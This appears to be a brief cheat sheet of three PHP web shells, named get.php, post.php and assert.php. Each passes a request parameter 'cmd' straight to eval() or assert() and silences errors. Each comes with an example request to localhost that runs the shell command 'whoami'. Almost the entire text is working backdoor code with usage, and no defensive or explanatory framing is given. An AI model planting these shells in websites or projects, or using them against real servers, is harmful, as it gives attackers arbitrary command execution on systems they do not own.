1.get.php
<?php
header("Content-Type: text/html;charset=gb2312");
@eval($_GET['cmd']);
?>
http://127.0.0.1/get.php?cmd=system('whoami');
2.post.php
<?php
header("Content-Type: text/html;charset=gb2312");
@eval($_POST['cmd']);
?>
http://127.0.0.1/post.php
cmd=system('whoami');
3.assert.php
<?php
header("Content-Type: text/html;charset=gb2312");
@assert($_POST['cmd']);
?>
http://127.0.0.1/assert.php
cmd=system('whoami');